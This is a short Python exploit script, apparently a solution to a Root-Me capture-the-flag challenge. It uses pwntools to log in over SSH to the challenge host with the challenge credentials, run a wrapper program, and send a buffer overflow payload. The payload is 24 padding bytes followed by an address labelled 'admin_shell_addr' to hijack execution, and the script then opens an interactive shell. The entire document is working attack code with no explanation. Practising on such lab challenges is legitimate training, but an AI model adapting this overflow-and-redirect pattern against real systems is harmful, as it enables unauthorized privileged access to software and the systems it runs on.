from pwn import *

ssh = ssh("app-systeme-ch72", "challenge05.root-me.org", 2225, "app-systeme-ch72")
proc = ssh.process("./wrapper.sh")

admin_shell_addr = p32(0x00401000)
payload = b"A"*24 + admin_shell_addr

proc.sendline(payload)
proc.interactive()
proc.close()
